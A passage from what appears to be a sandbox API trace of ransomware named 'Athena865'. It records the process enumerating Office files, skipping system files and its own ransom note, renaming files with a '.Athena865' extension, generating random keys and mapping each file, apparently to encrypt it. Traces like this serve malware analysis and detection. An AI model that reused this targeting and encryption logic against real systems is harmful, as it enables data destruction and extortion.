lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x750, lpName=0x0) returned 0x17c [0144.030] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x750) returned 0x100000 [0144.030] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.031] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.031] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.032] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.032] CloseHandle (hObject=0x17c) returned 1 [0144.032] CloseHandle (hObject=0x154) returned 1 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.032] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x105b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2=".") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="..") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="windows") returned -1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="bootmgr") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="temp") returned -1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="pagefile.sys") returned -1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="boot") returned 1 [0144.032] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="ids.txt") returned 1 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="ntuser.dat") returned 1 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="perflogs") returned -1 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2="MSBuild") returned 1 [0144.033] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0144.033] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ORGWIZ.VSL" | out: lpString1="ORGWIZ.VSL") returned="ORGWIZ.VSL" [0144.033] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0144.033] lstrlenW (lpString="Athena865") returned 9 [0144.033] lstrcmpiW (lpString1="RGWIZ.VSL", lpString2="Athena865") returned 1 [0144.033] lstrlenW (lpString=".dll") returned 4 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2=".dll") returned 1 [0144.033] lstrlenW (lpString=".lnk") returned 4 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2=".lnk") returned 1 [0144.033] lstrlenW (lpString=".ini") returned 4 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2=".ini") returned 1 [0144.033] lstrlenW (lpString=".sys") returned 4 [0144.033] lstrcmpiW (lpString1="ORGWIZ.VSL", lpString2=".sys") returned 1 [0144.033] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0144.033] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.Athena865") returned 68 [0144.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.athena865"), dwFlags=0x1) returned 1 [0144.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.035] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=66992) returned 1 [0144.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.036] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.037] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.037] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.037] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x108b0, lpName=0x0) returned 0x17c [0144.038] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x108b0) returned 0x100000 [0144.042] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.042] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.042] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.043] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.044] CloseHandle (hObject=0x17c) returned 1 [0144.044] CloseHandle (hObject=0x154) returned 1 [0144.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0144.044] lstrcmpiW (lpString1="ospintl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2=".") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="..") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="windows") returned -1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="bootmgr") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="temp") returned -1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="pagefile.sys") returned -1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="boot") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="ids.txt") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="ntuser.dat") returned 1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="perflogs") returned -1 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2="MSBuild") returned 1 [0144.045] lstrlenW (lpString="ospintl.dll") returned 11 [0144.045] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ospintl.dll" | out: lpString1="ospintl.dll") returned="ospintl.dll" [0144.045] lstrlenW (lpString="ospintl.dll") returned 11 [0144.045] lstrlenW (lpString="Athena865") returned 9 [0144.045] lstrcmpiW (lpString1="pintl.dll", lpString2="Athena865") returned 1 [0144.045] lstrlenW (lpString=".dll") returned 4 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2=".dll") returned 1 [0144.045] lstrlenW (lpString=".lnk") returned 4 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2=".lnk") returned 1 [0144.045] lstrlenW (lpString=".ini") returned 4 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2=".ini") returned 1 [0144.045] lstrlenW (lpString=".sys") returned 4 [0144.045] lstrcmpiW (lpString1="ospintl.dll", lpString2=".sys") returned 1 [0144.045] lstrlenW (lpString="ospintl.dll") returned 11 [0144.045] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.Athena865") returned 69 [0144.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.athena865"), dwFlags=0x1) returned 1 [0144.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.048] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18320) returned 1 [0144.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.048] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.049] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.049] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.049] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a90, lpName=0x0) returned 0x17c [0144.050] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a90) returned 0x100000 [0144.052] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.053] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.053] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.054] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.054] CloseHandle (hObject=0x17c) returned 1 [0144.054] CloseHandle (hObject=0x154) returned 1 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.054] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8c4100, ftCreationTime.dwHighDateTime=0x1c67eda, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed8c4100, ftLastWriteTime.dwHighDateTime=0x1c67eda, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0144.054] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.054] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.054] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2=".") returned 1 [0144.054] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="..") returned 1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="windows") returned -1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="bootmgr") returned 1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="temp") returned -1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="pagefile.sys") returned -1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="boot") returned 1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="ids.txt") returned 1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="ntuser.dat") returned 1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="perflogs") returned -1 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2="MSBuild") returned 1 [0144.055] lstrlenW (lpString="OUTFORM.DAT") returned 11 [0144.055] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTFORM.DAT" | out: lpString1="OUTFORM.DAT") returned="OUTFORM.DAT" [0144.055] lstrlenW (lpString="OUTFORM.DAT") returned 11 [0144.055] lstrlenW (lpString="Athena865") returned 9 [0144.055] lstrcmpiW (lpString1="TFORM.DAT", lpString2="Athena865") returned 1 [0144.055] lstrlenW (lpString=".dll") returned 4 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2=".dll") returned 1 [0144.055] lstrlenW (lpString=".lnk") returned 4 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2=".lnk") returned 1 [0144.055] lstrlenW (lpString=".ini") returned 4 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2=".ini") returned 1 [0144.055] lstrlenW (lpString=".sys") returned 4 [0144.055] lstrcmpiW (lpString1="OUTFORM.DAT", lpString2=".sys") returned 1 [0144.055] lstrlenW (lpString="OUTFORM.DAT") returned 11 [0144.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.Athena865") returned 69 [0144.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.athena865"), dwFlags=0x1) returned 1 [0144.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.058] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93696) returned 1 [0144.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.059] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.059] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17100, lpName=0x0) returned 0x17c [0144.060] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17100) returned 0x100000 [0144.065] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.065] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.065] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.066] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.067] CloseHandle (hObject=0x17c) returned 1 [0144.067] CloseHandle (hObject=0x154) returned 1 [0144.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.068] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fc5400, ftCreationTime.dwHighDateTime=0x1ca0f51, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fc5400, ftLastWriteTime.dwHighDateTime=0x1ca0f51, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLBAR.INF", cAlternateFileName="")) returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2=".") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="..") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="windows") returned -1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="bootmgr") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="temp") returned -1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="pagefile.sys") returned -1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="boot") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="ids.txt") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="ntuser.dat") returned 1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="perflogs") returned -1 [0144.068] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2="MSBuild") returned 1 [0144.068] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0144.068] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLBAR.INF" | out: lpString1="OUTLBAR.INF") returned="OUTLBAR.INF" [0144.068] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0144.068] lstrlenW (lpString="Athena865") returned 9 [0144.068] lstrcmpiW (lpString1="TLBAR.INF", lpString2="Athena865") returned 1 [0144.069] lstrlenW (lpString=".dll") returned 4 [0144.069] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2=".dll") returned 1 [0144.069] lstrlenW (lpString=".lnk") returned 4 [0144.069] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2=".lnk") returned 1 [0144.069] lstrlenW (lpString=".ini") returned 4 [0144.069] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2=".ini") returned 1 [0144.069] lstrlenW (lpString=".sys") returned 4 [0144.069] lstrcmpiW (lpString1="OUTLBAR.INF", lpString2=".sys") returned 1 [0144.069] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0144.069] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.Athena865") returned 69 [0144.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.athena865"), dwFlags=0x1) returned 1 [0144.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.071] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2416) returned 1 [0144.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.071] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.072] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.072] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.072] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc70, 